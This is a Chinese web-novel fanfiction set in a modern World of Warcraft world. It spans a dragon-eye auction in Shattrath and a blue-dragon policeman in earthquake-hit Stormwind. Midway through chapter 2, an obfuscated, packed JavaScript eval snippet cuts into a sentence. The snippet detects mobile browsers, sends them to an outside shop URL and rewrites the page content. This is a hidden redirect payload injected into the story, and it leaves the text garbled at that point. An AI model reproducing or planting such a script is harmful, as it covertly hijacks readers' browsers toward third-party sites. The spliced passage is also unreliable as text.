《蓝龙》 1. 第 1 章 外域 ·沙塔斯城,现在。 …… “……五百二十万金币——女士们先生们,现在最高出价是520万金币,还有更高的出价吗?……五百二十万金币第一次……五百二十万金币第二次……五百二十万金币第三次——” 啪—— “女士们先生们,五百二十万金币,著名的‘双子星’——‘夏洛特的长青藤’和‘萝拉之夜’,属于手持第一百八十六号牌的先生!” 大厅内响起一片掌声。 这里是“Tier 6”。 全星系最大的拍卖场,星界财团旗下产业之一,简称T6。 每天都有数以千计的物品被竞价拍卖,成交金额超过百亿。 收藏家的天堂,最富有的人云集于此。 恐怖怪兽的卵、上古之神仆从的魔法卷轴、邪兽人指挥官的骑鞭、德莱尼主教的灵魂宝钻——一切价值连城的稀世珍宝,都能在T6找到——每天都有不计其数的赏金猎人和寻宝探险队在世界的尽头出生入死,在巨额薪酬的驱使下,身怀绝技的冒险者们义无反顾。 在T6,只要有钱,就可以买到一切。 用血精灵的话来说,那就是“世间万物都可以明码标价”。 两件拍卖品正要被放回虚空水晶匣中,持一百八十六号牌的那位先生举手向拍卖师示意,于是那两件珍宝被四名工作人员护送到他面前。他从匣中取出“夏洛特的长青藤”,将其戴在身旁一位女士的颈上,见她又惊又喜,只是笑而不语,又将“萝拉之夜”戴在她的手指上,接着送上深情一吻,看到这番甜蜜景象,众人都纷纷抚掌致意。 主持今晚拍卖会的是一位叫扎雷姆的虚灵——虚灵是一种灵体生物,以精明的生意头脑闻名于世,他们对于商业利润最大化的追求和艾泽拉斯的地精们相比有过之而无不及,他们的首领是节点亲王哈拉迈德,作为星界财团的董事长兼总裁,他也许是这个星系最会做生意的人,能够说服纳鲁——沙塔斯城的统治者——允许星界财团在沙塔斯城这样一个充满宗教色彩的信仰圣地建立T6,足以说明他手段了得。 金钱诱人堕落,利益滋生罪恶,这些都是灾难的根源,超脱于物欲之外的纳鲁不喜欢暴力和混乱,在纳鲁的沙塔斯城里,任何人都必须和平相处,破坏秩序者将遭到驱逐,很多人无法理解为什么纳鲁会为T6这种涉及权力交易、走私、洗钱等行为的场所提供庇护,对此节点亲王哈拉迈德有独到见解: “这就是光与影、秩序与混乱的平衡哲学啊。” 所以,被他任命为T6首席执行官的扎雷姆,也绝非等闲之辈。 每一个德拉诺年中,T6要进行上千场拍卖会,而由首席执行官亲自担当拍卖师的则寥寥无几——扎雷姆的出现,意味着千载难逢的“好货”即将现身,这也是今晚整个星系排名前二十的顶级富豪悉数到场的原因——在T6能被称为“好货”的,可是动辄需要用数座百万人口级的大城市、一个国家的全部领土、甚至是好几个星球来作为竞价筹码的。 所以,刚刚结束拍卖的“双子星”饰品,不过是重头戏前的序曲罢了。 “璀璨的珍宝见证忠贞的爱情,T6拍卖的物品无论有多么价值连城,也无法与真正的无价之宝相比——我们在太阳井遗址公园打出广告,说在T6能买到一切,事实上不尽其然……哦,不不不,我们决没有做虚假广告,好吗?坐在贵宾席第三排的沙塔斯市政局官员,你们一定没有听清我刚才的自言自语吧?” 大厅内笑声一片,穿着礼服、正襟危坐、身材高大的德莱尼人也乐了。 扎雷姆清了清嗓子:“女士们先生们,我知道你们在等待什么,是的,是的,我明白你们的意思——每当大家看到我站在这个台子上都会想‘哦,老天,这个家伙今天又要拿什么来骗我们掏钱呢‘……” 众人更是笑得前仰后合。 扎雷姆叹了口气:“我很内疚,某年的万圣节,我弄来了一匹无头骑士的马,诱使奥格瑞拉的一位食人魔大王以当地最优质的埃匹希斯水晶矿的全年开采权的代价买下,直到现在他还在被他的议会长老们揪耳朵;一个世纪前我在这个拍卖台上把一枚埃提耶什碎片以八百万金币的价格卖给了一名紫罗兰议会成员的小舅子,这位疑心颇重的先生对T6的信誉持怀疑态度,于是他另外花了六十万金币的鉴定费,最后终于得出结论——这块埃提耶什碎片并非赝品……“ 扎雷姆一摊手: “然而不幸的是,他后来绝望地发现这块几乎令他倾家荡产的碎片只不过是组成守护者之杖埃提耶什杖身的四十块碎片之一,也就是说即使是在他有生之年其余三十九块碎片一一重现天日,他也需要再花至少三亿金币的巨资才能凑齐全部碎片组成杖身,这还没算杖头和杖尾,而且请注意,这是一百年前的三亿金币,大概相当于现在的多少钱呢?……总而言之,我能够理解他对于魔法的痴迷和渴望Cosplay守护者麦迪文的心情,这真是个悲剧——哦,顺便一提,听说后来那个议员因为贪污受贿被整垮台了……正如我刚才所说的,这可真是个——” “悲剧啊。”众人异口同声。 “好啦,娱乐时间结束,现在让我们言归正传吧。” 扎雷姆清了清嗓子,众人屏息凝视,翘首以待。 忽然大厅内响起一阵乐声。 “啊,看来我们有新客人了。”扎雷姆说。 一个柔和悦耳的女性声音响起——T6所有拍卖会场都采用高品质嵌入式音响系统,旨在营造更好的拍卖环境。 最新加入我们今晚拍卖活动的,是来自泰坦尼亚的客人。 一听到“泰坦尼亚”,诸位宾客为之一怔。 女士们,先生们,让我们欢迎安多洛夫·雷奥先生。 先前的窃窃私语变成了阵阵惊呼,出席拍卖会的富豪们交头接耳,回头张望,戴着墨镜的保镖们纷纷起立,有的把手放入怀中,有的按着耳朵里的袖珍对讲机,全都一副如临大敌的模样。 一个身高两米过外的魁梧男人迈步走进拍卖会场,红色军装上的肩章在灯光下闪闪发光,胸前的勋章显示出他曾是一名有着赫赫战功的红龙军团高级将领。 标志般的光头,烈焰般的赤色眼瞳,被修得整整齐齐的口字胡—— “实在是想不到,泰坦尼亚的红龙竟会大驾光临。”扎雷姆不动声色,“真是稀客,安多洛夫将军,不知光临T6,有何贵干?” 光头巨人还未开口,宾客中有人高喊: “沙塔斯是中立城,他不能在这里随便杀人!“ “纳鲁的圣光庇护所有人,这里是不允许出现任何纷争的!“ “为什么要让这条龙进来?他会一下子把这里所有的人都杀掉!“ “请稍安勿躁。”扎雷姆示意大家保持冷静。 光头巨人扫了一眼冲着他怒目而视的富豪们。 “我还以为T6的大门对所有人敞开呢。” “他是条龙!!——”人群中有几个激动的声音在强调。 “请保持克制。”扎雷姆说,“对于不能遵守协议、破坏竞拍环境者,我们有权将其请出场外。” “这才是生意人啊。”红龙点了点头,又扫了那些躁动不安的宾客们一眼,“你们当中有不少人跟龙族有过节,有些人在艾泽拉斯犯了事,于是跑到外域来继续发财;有些人还被列入世界安全局的通缉名单……” 光头巨人咧嘴一笑:“不过这跟我没什么关系,我已经退役了,所以除非你们得罪了我的老板……” “光头佬,我们跟红龙教父河水不犯井水——” “我只是这么说说,别紧张,亲爱的。”安多洛夫哑然失笑,“红龙与纳鲁关系良好,维埃兰先生和我都尊重阿达尔先生的立场。” 说着他抬头望向站在主持台上的虚灵。 “扎雷姆先生,我想,您应该不会因为我是条龙就把我轰出去吧?” 扎雷姆一怔,随即两手一摊: “当然不会,您说得没错,T6对所有人敞开大门——但是,安多洛夫将军,在您入场前我需要确认一件事:无论今天在场的诸位与您、红龙教父还是龙族有什么不愉快的过去,您都不会危害到他们的人身安全。” “当然当然。”红龙连连点头,看起来一脸无辜,“伙计们,我只是来凑凑热闹而已……大家不要这么敏感嘛,搞得我好像是什么杀人狂魔似的。” 众人全都用警惕的目光盯着那光头中将,明摆着不信——五色巨龙中就数红龙和黑龙难搞,一个傲一个横,都不是好惹的主。红龙擅长控制生命,只要一个眼神就能把活人像气球一样吹胀引爆,出席今天拍卖会的可都是有头有脸的风云人物,谁肯跟一件生化武器坐一块儿? 但谁也不愿意因为红龙搅局就放弃拍卖——这里是沙塔斯城,红龙不会不给纳鲁面子,何况那光头也当众保证了……谅他也不敢动手,对吧? 反正只是一条红龙而已…… “安多洛夫将军也对今天要在T6亮相的‘好货’感兴趣吗?”扎雷姆问。 那巨人眨了眨眼,扮了个鬼脸:“你在开玩笑吗?就凭我那点退役津贴?“ 扎雷姆当然不会相信这条红龙只是“路过”,顶级拍卖会的入场费十分高昂,可没有“随便看看”的说法。 “不过我的雇主有钱。”巨人又道,“其实不瞒你说,我今天只是个跟班,陪人来看货而已。” 大厅内又是议论纷纷。 “哦?竟然有人能把安多洛夫将军雇来做保镖?整个艾泽拉斯乃至外域恐怕都没几个人能做到吧?”扎雷姆十分讶异,“能让红龙教父这么给面子的,究竟是何方神圣呢?” 虚灵话音刚落,大厅里再次响起宾客入场的提示音: 与安多洛夫·雷奥先生一同参加拍卖会的,同样是来自泰坦尼亚的客人。 众目睽睽之下,这位真正的神秘来宾、红龙中将的“雇主”走到聚光灯下。 女士们,先生们,让我们欢迎奥妮克希亚·普瑞斯托女士。 那是一个美得惊魂夺魄的女人。 她无疑是最美丽的生物,世上最美好的词汇都是为她而设,她就像一轮黑色玄月,华贵,孤傲,连繁星也只求能在她身边多留片刻。 她穿着露背晚装,白皙如玉的背上,桀骜不驯的黑色纹案表明了她的身份。 她是奥妮克希亚,普瑞斯托家族的成员。 奥妮克希亚的出现令整个拍卖场鸦雀无声,直到人群中的一句喃喃低语打破了寂静: “黑龙……” …… 安多洛夫中将的出现就已经够让人头大了,再加上奥妮克希亚,连扎雷姆都有些乱了阵脚——谁都知道红龙与黑龙向来不合,如今身为最强红龙的安多洛夫居然被普瑞斯托家族的千金大小姐雇来当保镖参加拍卖会,实在是弄不懂他们在搞什么名堂。 奥妮克希亚虽然很美,让每个男人都心猿意马,连女人都忍不住为之脸红心跳,可她毕竟是条黑龙。和红龙不同,黑龙从来就是随心所欲不按常理出 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“管他翻几倍,买下来就是了。”奥妮克希亚轻描淡写,“反正用的又不是我的钱。” “我觉得‘他’收到天文数字的请款单时的表情一定会有趣。”红龙笑道。 “卡卡。“ “嗯?“ “闭嘴。” “好嘛好嘛,你是头儿,听你的。” 大厅内暗了下来,在空间投影设备和音响系统的操控下,众人仿佛置身浩瀚星河。 “泰坦尼亚的龙是强大神秘的智慧生物,从上古时代开始便主宰着整个世界,由于得到了泰坦的赐福,五位龙王成为了世界守护者,时值今日,巨龙们虽已远离我们的感知,但他们的影响力依然无处不在——古往今来,世人觊觎巨龙所守护的财富,无数人深入龙穴,他们当中的绝大多数没能活着回来。” 伴随着扎雷姆的讲述,屏幕上不断变换的影像展示着惊心动魄的屠龙场面。 “那条龙是谁?”奥妮克希亚问。 “那时我还没出生呢,怎会认得。”安多洛夫答道。 “竟然就这样被四十个凡人放倒,真是没用。” “人家好歹是条黑龙呀,对遭遇不幸的长辈难道不应该——” “我有让你教我如何言行吗?” “瞧,美人,你是头儿,我只是个跑腿的……” “你什么时候才能变回去?我觉得你哥哥比较可靠,没这么油嘴滑舌。” “……” “巨龙的宝藏究竟为何有这般致命的吸引力,以至于不计其数的人为之铤而走险?其实答案是显而易见的——您对青春永驻怎么看?如果能够穿越时空,你真的一点都不想回到过去弥补曾经的遗憾,或者了解一下未来的股市行情吗?不同色种的龙拥有不同的能力,相信很多人都对此耳熟能详,而最近世界上最优秀、同时也是最幸运的冒险家将这两件东西交给我们估价,并委托我们拍卖,于是一个千载难逢的机会出现了:将巨龙的力量据为己有——没错,传说已经成为现实,就在今晚,就在这里——” “女士们,先生们,请允许我向你们介绍巨龙的遗产——‘艾欧之星’,以及‘卡利斯托之月’。“ 人群再一次发生骚动。 “好货”以复数形式出现,这还是第一次。展台上的“艾欧之星”和“卡利斯托之月”一亮相便吸引了所有人的注意力,那是两颗处于悬浮状态的球状晶体,“艾欧之星”呈现出惊艳绝伦的冰蓝色光泽,通体寒气四溢,而“卡利斯托之月”则如海洋般深邃,似乎蕴藏着无尽的奥秘。 实在是……太美了。 巨龙的遗产……龙会在拍卖会上现身,果然不是巧合。 也就仅仅是在沙塔斯城,星界财团敢当着红龙和黑龙的面拍卖龙的宝物,而不必担心会遭到残酷的报复,就算龙族兴师问罪,也大可以将过错全部推到所谓的“冒险者”身上——他们只是代理拍卖,从不关心宝物的来历,有争议?可以,先买下来,怎么谈都行。 雷姆开始介绍这两件稀世珍宝的非凡之处,宾客们的眼睛渐渐亮了起来。 “艾欧之星”和“卡利斯托之月”绝对可以掀起一场世界大战,它们已经牢牢地抓住了每个人的心神,终于欲望还是压倒了恐惧,从第一个战战兢兢举手提问的人开始,后来者纷纷抛开顾忌,小心急切地想要知道更多。 “‘卡利斯托’真的蕴藏着奥术的秘密吗?这么说拥有了它就可以瞬间移动、位面传送、隔空取物、隐形、穿墙、精神控制——” “请允许我打断一下,精神控制是暗影系的能力,所以这是做不到的。” “‘艾欧’真的能够制造出无限接近绝对零度的超低温吗?” “快报底价吧!” “可以拆开拍卖吗……” “……” 安多洛夫和奥妮克希亚坐在位子上,默不作声地看着这一切。 “真没想到。”红龙忽然开口,“我们的眼睛竟然这么值钱。” 奥妮克希亚凝视着展台上迷离的蓝光,一言不发。 一切都在按既定规则进行,她只能眼睁睁地看着那双眼睛被冠上充满噱头的名称被拿去拍卖,除了花巨资将其买下外,她别无选择。 她知道那些虚灵在撒谎,那根本不是什么“巨龙的遗产”或是“尘封已久的宝藏”。 它们的真面目,是“冰霜巨龙的左眼”,和“冰霜巨龙的右眼”。 是活生生剜下来的蓝龙之眼。 2. 第 2 章 艾泽拉斯·暴风城·三个月前。 ………… …… ……暴风城南部地区特大地震已经过去了一个月,搜救工作已经陆续停止,灾后重建工作全面展开,最终官方公布的数据显示,在这场近百年来东部大陆所遭遇的最严重的自然灾害中,总共有565人遇难,另有328人失踪,近百万人无家可归——尽管官方从未证实过地震前曾发生过“异常事件”,但“预言”和“奇迹”成了社会舆论关注的焦点…… ……在大地震前七十二小时,一些网络社区上曾有人准确地“预言”了这场灾难,令人感到匪夷所思的是,散播该“预言”的匿名人士还发布了数张照片和一段视频,事后被证明与实际情况有大量吻合之处;在大地震发生前数小时,在暴风城南部港口码头曾出现过一次不明原因的震动,有专家认为这并非地质运动所导致,不排除人为因素,然而无论如何,这次不明震动和之前的“预言”直接导致了民众自发的大规模疏散,也是降低伤亡的最直接原因,根据估算如果没有事先撤离,在人口密集区发生如此强度的地震,伤亡数字至少会是目前的数百倍甚至上千倍…… ……而地震后的“奇迹”更是将这一数字减少到了最低限度,高达百分之九十的获救率,至少有两千余人在被埋超过一百五十小时获救,一位老妇人竟在废墟下坚持了十天之久,而获救后在医院接受了一些基础护理后就完全脱离了危险,没有人知道这种生命的奇迹是如何发生的,在如此可怕的灾难中,实乃不幸中的大幸。 ……暴风城南区一直不受市政府管辖,而是由许多帮派控制,地震令这些帮派遭受重创,一些帮派头目和帮众在地震中直接丧生,毒品工厂、地下夜总会和违禁军火库等非法设施几乎全部被夷为平地,舆论普遍认为这是市政府重新接管南区的良机,通过灾后重建树立亲民形象挽回南区民众的信心,同时加大警力,肃清非法帮派余党,将有望令治安恶劣、犯罪猖獗的南区彻底改头换面——这里是铁炉堡新闻7频道的特别报道。 …… 哐当—— 男人把杠铃放到支架上,坐起身来。 晨光从百叶窗中透进房间,照着他赤裸的上半身。 他用手肘支着膝盖,埋头喘气,细密的汗珠附着在他热气腾腾的纠结肌肉上,令他的身体在微光中闪闪发亮。 他是个很强壮的男人,事实上,如果那个杠铃真的有标称值那么重的话,那他的力气可实在是太大了——即使是天赋异禀的大力士也不可能用将近五吨的重量独自做卧推。 闹钟突然响起,现在是早上七点。 男人站起来,从一堆杂物中翻出遥控器,打开电视机,里面正在播放ABC资讯台的早安节目“WoW!”。 他走进浴室——以他的块头来说,这个浴室委实太小了些。 但他似乎早就习惯了。 淅淅沥沥的淋浴声和着时起时伏的口哨,与晨间新闻交织在一起。 “……受新能源开发前景看好等利好消息的影响,灵风能源集团公司近日股价节节攀升,成为带动大盘走高的生力军。该公司的新闻发布官称灵风集团与外域德拉诺政府的谈判获得突破性进展,有望在年内实现对虚空风暴地区的奥术能量资源进行初步勘探,并在未来的十八个月内完成投产建设……” “……受股价上涨的影响,灵风能源集团公司的董事长兼执行总裁亚雷·麦洛尼的个人财富激增百分之十七,以八万六千七百亿金币的资产成为世界首富。亚雷·麦洛尼先生热衷慈善事业,在东部大陆的暴风城南区遭遇特大地震后,他已先后以个人名义捐出高达两百亿金币的善款,并承诺灵风集团将尽可能地为受灾地区提供援助,事实证明他履行了自己的承诺,目前震区大部分地区已经恢复了电力供应……” 一只蓝眼睛、黑尾巴的小白猫跳上沙发,冲着电视机眯了眯眼,开始百无聊赖地扒弄沙发上的衣物,接着开始在那件墨蓝色的衬衣和黑色长裤中打起滚来。 衣物旁放着一把枪,以及一个黑色的皮夹,皮夹正面别着一枚蓝白相间的盾形警徽,在小猫的翻滚中皮夹被打开,露出内侧透明夹层上的证件: 暴风城警署巡警——编号SWPD-N7046——萨菲隆·弗洛斯特。 浴室房门被打开,男人带着一身水汽走出来,一眼就看到趁机捣乱的猫。 “嘿,走开,走开。”他用一只手攥着围在腰上的浴巾,伸出另一只手去撵他的猫,怎料小猫见那蒲扇似的巨掌伸来,喵呜一声闪身躲过,顺势跳上桌子,打翻了牛奶杯,又踩中了涂满金枪鱼酱的面包片。 见白花花的牛奶淌了一地,大有渗进地板缝之势,男人如临大敌,顾不上捉拿肇事者,手慌脚乱地抓起一块抹布试图挽救局面,这身量魁梧的男人趴在地上,活像一匹被困在陷阱里的马。 “我的老天,你又在干什么?!——”楼下传来一位老太太愤怒的咆哮。 “没……没干什么!……房东太太!一切正常!”男人急忙大叫,厚实如铅的声音震得屋子嗡嗡直响。 “你就尽管折磨我这个老太婆吧!……你们这些无法无天的坏警察!我最恨警察了!我把房子租给毒贩他们过节还会送糖给我呢……” 听到巨大的撞门声和咚咚咚的脚步声,男人就知道他那愤怒的房东老太太上楼了,不由得阵阵头皮发麻。 “把门打开,你这专吃纳税人血汗的寄生虫!”门被拍得震天响。 男人赶紧把吸满牛奶的抹布丢进厨房,长腿一伸跨过客厅,小心翼翼地把门拉开一条缝,弯下腰把头伸出门框。 房东太太一手叉腰一手握着扫帚,用挑剔的目光将她的房客上下扫视了一番,之后挺了挺下垂的胸脯,威严地问: “你在干什么——萨菲隆·弗洛斯特先生?” “真的没干什么……我正准备去上班,我,我马上就出门……”牛高马大的警官显然非常惧怕这位身高尚不及他腰际的老太太,一副低声下气的模样。 “你为什么没穿衣服?”房东太太一脸狐疑。 男人的胸口上有一条清晰的V字形白斑,看上去不像是纹身,但比一般的胎记形状要规则得多。 “呃,我——” “你在房子里藏了女人吗?!” 男人忙摇头。 “我一年交那么多税,是为了——” “当然不是,太太。” “要是你敢把街上那些不正经的女人带进我的房子里,我不但会报警让你的同事都知道你的丑事,还会把你——” “还会把我轰到大街上睡长凳,太太,我不会明知故犯的。” “哼,总有一天你会被我轰到大街上,然后被你的仇家用机枪射成蜂窝!”老太太用扫帚柄戳戳了男人的胸口,“给我听好了,年轻人,这是个法治社会,像你这种目无法纪、贪污腐化的坏警察不会一直逍遥法外的,我可是知道市警署风纪委员会的监督举报电话号码的,你最好不要让我抓住把柄——我会一直注视着你!” 搁下这番话,老太太转身作势要走,男人松了口气,暗暗感谢老天。 “另外,你的头发。”老太太又转了回来。 男人伸手抓抓自己的脑袋,有些不明所以。 “它们是蓝色的。”老太太冷冷地提醒道。 “噢!是的……不,我是说……我会马上变……染回去的!”他恍然大悟。 “你也是三十多岁的人了,还染什么头发,只有小混混才搞这个,染头发的人都是考不上大学的,你还标新立异,染成这种鬼里鬼气的颜色,我看你大概连中学都没毕业吧,怪不得只能当个小巡警……” 其实若房东太太再仔细一些,就会发现她的房客除了那被削得既短又薄的头发外,连眉毛和胡茬都是蓝色的,只是颜色更深些。 “还有那个你成天举来举去的铁玩意——”老太太再次回头。 “那个杠铃是空心的,只是摆着好看而已!——您知道,我们男人总是……总是需要一点心理安慰……”男人忙道,“您放心好啦,它是绝对不会把地板压塌的!” “虚荣浅薄的男人,哼!”房东太太念叨着,不甘不愿地走了。 男人轻手轻脚地关上门,回头瞪着他的猫。 “小坏蛋,你可把我害惨啦。” 小猫呜呜叫了两声,算是为刚才闯的祸道歉,接着继续津津有味地舔着地板上残余的牛奶。 “我得去上班赚口粮,你好好看家,别再搞破坏了,好不好?”男人伸手揉揉那只小毛球,望向他的警察制服——小毛球不但把原本烫好的衬衣弄得乱糟糟,还不知什么时候用沾着金枪鱼酱的猫爪在上面盖了个戳,弄掉酱料后衬衣胸襟上的油印清晰可见。 没有能换的,再看看钟,男人只得将就着把警服塞进包里,胡乱罩上汗衫短裤,套上靴子,抓起车钥匙,叼着面包钻出公寓。 当他在暴风城警署第七分局的更衣室里穿戴整齐后,已经是个全副武装、威风凛凛的警察了。 胸前的警徽闪闪发亮,旁边还有个油腻腻的猫爪印,不过这无伤大雅——萨菲隆·弗洛斯特警官在他的辖区内可是鼎鼎大名,谁都知道这位大个子警官是个好心的巨无霸,以及他的猫在家里地位比主人更高。 无论是萨菲隆的同事,还是广大民众,谁也记不清他已经在第七分局蹲了多久,按理说基层巡警当了这么多年,早该被提拔才是,可日复一日年复一年,曾经和萨菲隆共事的警员转业的转业,升职的升职,换了一批又一批,他还是一如既往地开着连涂装都换过好几次的警车在街上执勤;当年在游乐园里跟父母走散吓得哇哇大哭,之后骑在萨菲隆的脖子上“居高临下”才找到家人的小孩,现在都已经穿着笔挺的西装拎着电脑戴着蓝牙耳机在高楼大厦里上班了,萨菲隆却还是一点也没变,眼角倒的确是多了几道纹路,不过那都是因为他很爱笑的缘故。 也许萨菲隆对于人们来说已经成了某种标志,大家早已习惯有他的生活,他就像一个忠诚而温和的守护神,默默地为纳税人服务。他似乎跟每个人都是朋友,又仿佛从来就没什么朋友,大家都会说“噢我认识他”,但却又无人知晓他是哪里人,住在哪里,结没结婚,有没有孩子,对于萨菲隆人们似乎从来提不起任何好奇心——比如一家祖孙三代从各自的孩提时开始都保留了关于他的记忆,却没人去想这位警官今年究竟多少岁了。 更衣室门口传来说笑声,萨菲隆的眼瞳中闪过一丝淡淡的蓝光,他的头发、眉毛和胡茬顿时变成了墨黑色。 紧接着门被推开了,几个警察站在门口。 “那帮家伙成天坐在开着空调的办公室里跟他们的女秘书鬼混,我们却得去跟那群南区的人渣打交道,真是太没道理了。” “你想泡那些办公室小妞?没问题——在这儿混个二十年就成,嗯,说真的,就你这模样,估计得混三十年,或者四十年。” “总有一天我会破大案子!我可不能一辈子就拿这点薪水!” 众人大笑,萨菲隆双臂环胸靠着墙,也跟着一起乐,铅块般厚实的笑声震得门框嗡嗡作响。 “老萨,你家的猫老板最近还好吗?”有人问。 见同事们把话题转到自己身上,萨菲隆忙清了清嗓子: “啊呀,得出任务了,伙计们,赶紧的,不然头儿又要啰嗦了。” “老萨,你不能每次都玩赖的!”一群人跟在萨菲隆身后嚷嚷。 “不然你们肯定又会拿我寻开心!”萨菲隆回头瞪他们,“每次都这样!……” “老萨,你得去找个女人。”有人说,“我最近认识了一个美女,在米奈希尔大学读三年级,长得漂亮,身材也很正哦——” “米奈希尔?哗,名校耶。” “真的很正吗?”众人七嘴八舌。 “真的很正。”那位警官用胳膊肘碰了碰萨菲隆,“怎样?老萨,要不要我介绍给你认识?” “又是篮球队的主力吗?”萨菲隆没好气地问。 “不是不是。”警官连连摇头,之后接了句,“是排球队主力……” 见旁边的人都在翻白眼,萨菲隆也是臭着张脸,那警官也挺委屈:“人家真的挺不错的……而且不是我说,老萨,凭你这体格这块头,确实不好找哇——你都两米二零了……” “我真没那么高!”萨菲隆忍无可忍,咆哮起来,“我只有两米零八而已!” 这一吼不要紧,过道里大有地动山摇之势。 “我——”他还想说些什么,却见大家全都缩在墙角,蹲在前头的还举着防暴盾牌护着脑袋,实在是哭笑不得,“你们在干什么?” “你没生气了吗?”试图做媒的那位警官从防暴盾牌后探出头来,小心翼翼地问,“我们还以为你要拆房子哩。” “以后不准再跟我提这种事。”萨菲隆虎着脸,“我命中注定是个单身汉。” “不要这样嘛,老萨。” 那群躲在防暴盾牌后头的警察纷纷出言安慰: “要有信心啊。” 萨菲隆沉默了一会,低声说: “抱歉,伙计,我只是有点烦心事……我不是有心要——” “没关系,老萨,我们早就习惯啦。” “还是威严的萨菲隆警官让人有安全感啊。” “就是这种气势,南区的坏蛋会被吓得尿裤子的。” 萨菲隆没再说什么,径自朝车库走去。 他不该冲他的同事们发脾气,他们虽然喜欢开玩笑,但并无恶意。 他们以为他在为孑然一身苦恼,他们以为这是因为他过于高大魁梧、粗犷彪悍的缘故,所以总是试着给他介绍“能接受大个子警察的高个美人”,并且一再向她们强调他其实是个非常有礼貌、非常温和并且非常有爱心的好男人,可从来没成功过。 不是她们不好,也不是她们嫌他不好,事实上几乎每位在旁人撮合下跟萨菲隆约会过的女性都很喜欢他,过后还频频打听他的态度,然而每次看似热情似火的邂逅之后很快都没了下文,萨菲隆不愿多说,对方也很奇怪地不再提及,就好像彻底忘了他似的。 他的确挺为这事儿发愁,但原因却并非他的同事们所想的那样。 他并非不擅与异性相处,他只是没办法和她们“深入发展”罢了。 他了解人类,他决不会冒险。 看着萨菲隆雄健巍峨的背影,警察们小声议论着: “可怜的老萨,好寂寞的样子唉。” “其实我觉得一直以来我们的努力方向都不对。”有人发表见解。 “哎?” “也许老萨压根就不喜欢女人。” “啊?” “你的意思是……” “莫非……” 大家面面相觑,之后不约而同地“哦”了起来。 真相只有一个,原来事情是这样! “喂,你们快点,头儿要发飙啦!”萨菲隆的声音远远传来。 暴风城南区·乌瑟尔广场 这是北区警力在灾后首次进入南区,萨菲隆他们所在的第七分局被分派到乌瑟尔广场,也就是当时地震波的中央区域。 这里已经是一片废墟,原本作为南区标志的乌瑟尔像也没能幸免,瓦砾中只留下了半截握着战锤的手臂,雕像的头部静静地倾斜在瓦砾中,这张矗立在废墟中的一人多高的脸曾经上了最近一期《世界周刊》的封面,配上的文字说明是“这个城市最后一点关于历史的记忆已泯灭”。 萨菲隆认得那张脸,其实他见过“光明使者”乌瑟尔本人,那是好多个世纪前的事了。 “老萨。”有人在喊他。 是他的一个同事,正穿着防弹背心,端着枪,嚼着口香糖,深一脚浅一脚地朝他走来。 “这里根本没有生命迹象。”那个警察说,“不可能还有人活着,搜救队早就放弃这一片区域了,真不知道上头要我们在这里找什么。” “不是说还有些混黑的在这里活动吗?”萨菲隆问。 “你相信?我可不信——这里什么都没能留下来,除非埋着什么□□金库的钥匙,傻瓜才会来这种鬼地方。”警察摇了摇头,“在我们之前消防局和搜救队早就查过了,这里什么都没有。” “似乎有目击者,还有人说听到过枪声。” “我看那些人一定是眼花了。”警察不以为然,之后皱着眉望着萨菲隆,“别说你信这个,咱们已经在这儿耗了一整天啦,根本是浪费时间嘛,我现在只想赶快收队回家看球赛——战歌超音速队对奥山七十六人队最后一场,赢家进决赛哇,不看不行。” “你瞧那里。”萨菲隆指了指前方。 “嗯?”警察转头,顺着他手指的方向望去。 萨菲隆指的是那座废墟中的“绿洲”——地震毁掉了这里的一切,却似乎完全没影响到这些植物,它们生机盎然,郁郁葱葱,这也是近来媒体、学者、科研人员和民众所关注的焦点,因为乌瑟尔广场原本并没有这些植物,它们却在地震后凭空长了出来。 “老萨,这个世界总会有奇怪的事情发生,别什么都当真嘛。”警察叫道,“地震前艾尔文森林还突然枯死了一大片树呢,不还有人说是那些树是救世主吗?” 萨菲隆笑了笑,没再说什么。 但他知道,这个世界上只有一种生物有这般能耐。 那就是红龙。 被红龙杀死的生物,尸骸会变成花草。 红龙的血滴进泥土里,会长出参天大树。 能让那些被埋在废墟里的人坚持那么长时间的,只有红龙光环。 如此威力的光环,大概只有红龙在濒死前燃尽全部精华才能发动吧。 同样,要引发破坏力如此恐怖的大地震,也只有孤注一掷的黑龙才能做到。 据说在地震前一晚,还发生了数千人集体梦游事件,这是绿龙的拿手好戏。 至于那个“预言”,当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363265|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是青铜龙的风格。 “老萨,怎么啦?”警察有些担心地问。 “不,不,没什么。”他摇摇头。 事发前一个押送重犯的车队在经过跨海大桥时遭到袭击,四辆护卫警车被从天而降的冰山砸中,里面的警员当场身亡,之后囚犯不知去向。此事立即传遍了整个警察总署,殉职的警员中有一位恰好在第七分局供职,萨菲隆还曾和他一起练习过搏击,今年才三十六岁,葬礼上他的妻子哭成了泪人,他五岁的儿子一脸木然,似乎已经吓傻了。 这正是最令萨菲隆感到不可思议的地方——从天而降的冰山。 连蓝龙都被卷进来了吗? 萨菲隆正在沉思,突然不远处传来一阵“哒哒哒”的声音。 是枪声。 他顿时全身紧绷,飞快地拔枪弯腰,他的同事立即跳起来,用身体挡住他,同时吐掉了嘴里的口香糖,低叫道: “别乱来!老萨!你没穿避弹衣!——” 警察话还没说完,萨菲隆大手一伸,逮住他的肩膀,把他拎到自己身后,巨大的力道令他没能站稳,一个趔趄坐倒在地。 “想回去看球赛的话就在这儿待着。”萨菲隆丢下这句话,大步朝枪声传来的方向走去。 他可不想过几天去参加另一场葬礼。 那个警察呆呆地躺在瓦砾上不敢吱声,他好歹也有将近两百磅,在萨菲隆手里简直像只小猫小狗。 突如其来的枪声令警察们进入高度戒备,所有人都用警车和盾牌做掩护,天色已晚,看不清到底是什么状况,但从声音判断,显然是一场大规模械斗。 “这里是第七分局,在南区乌瑟尔广场发生枪战……是的,枪战!不!不是朝我们开火!……噢!——” 轰的一声巨响,火球冲天而起。 “该死!”警察局长气急败坏地把对讲机朝警车里一丢,“各单位有序后撤!不要随便开火!!”说着环视四周,却见一辆空荡荡的警车没人认领。 “见鬼,萨菲隆和科比呢?” “没看到他们!” 